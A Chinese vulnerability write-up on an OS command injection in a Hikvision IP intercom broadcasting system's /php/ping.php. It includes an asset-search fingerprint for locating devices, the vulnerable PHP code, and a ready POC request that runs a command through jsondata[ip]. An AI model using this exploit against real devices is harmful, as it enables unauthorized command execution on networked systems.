漏洞介绍
海康威视IP网络对讲广播系统采用领先的IPAudio™技术,将音频信号以数据包形式在局域网和广域网上进行传送,是一套纯数字传输系统。
Hikvision Intercom Broadcasting System 3.0.3_20201113_RELEASE(HIK)版本存在操作系统命令注入漏洞,该漏洞源于文件/php/ping.php的参数jsondata[ip]会导致操作系统命令注入。
资产测绘
icon_hash=“-1830859634”
漏洞复现
查看漏洞关键代码:
header("Content-type: text/html; charset=GB2312");
$postData = $_POST['jsondata'];
if(isset($postData['ip']) && isset($postData['type'])){$type = $postData['type'];//类型$ip = $postData['ip'];//IP地址$arr = systemopr($type, $ip);$len = count($arr);for($i = 0; $i < $len; $i++){if(isset($arr[$i])){$arr[$i] = iconv('GB2312', 'UTF-8', $arr[$i]);//gb2312转换为utf-8}}$after = json_encode($arr);//转换成jsonecho $after;
}function systemopr($type, $ip, $times=4){$info = array(); if (PATH_SEPARATOR==':' || DIRECTORY_SEPARATOR=='/'){//linuxif($type == "0"){exec("ping -c $times $ip", $info);}else if($type == "1"){exec("traceroute -m $times -w 1 $ip", $info);}else{exec($ip, $info);}}else{//windowsif($type == "0"){exec("ping $ip -n $times", $info);}else if($type == "1"){exec("tracert -h $times -w 1000 $ip", $info);}else{exec($ip, $info);}}return $info;
}
可以发现当$postData['type']
和$postData['ip']
存在值时,则会传入systemopr函数,通过exec()
函数进行拼接命令执行,当$postData['type']
等于0或1时,则代入指定代码段,执行指定命令。但$postData['type']
参数值不等于0和1时,可以不考虑参数闭合,直接可以通过$postData['ip']
执行任意命令。而且恰巧$postData['type']
和$postData['ip']
的值都是POST
传参可控的,导致我们可以执行任意系统命令。
POC如下:
POST /php/ping.php HTTP/1.1
Host: your_ip
Content-Length: 46
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: closejsondata%5Btype%5D=3&jsondata%5Bip%5D=ipconfig
修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://www.spon.com.cn/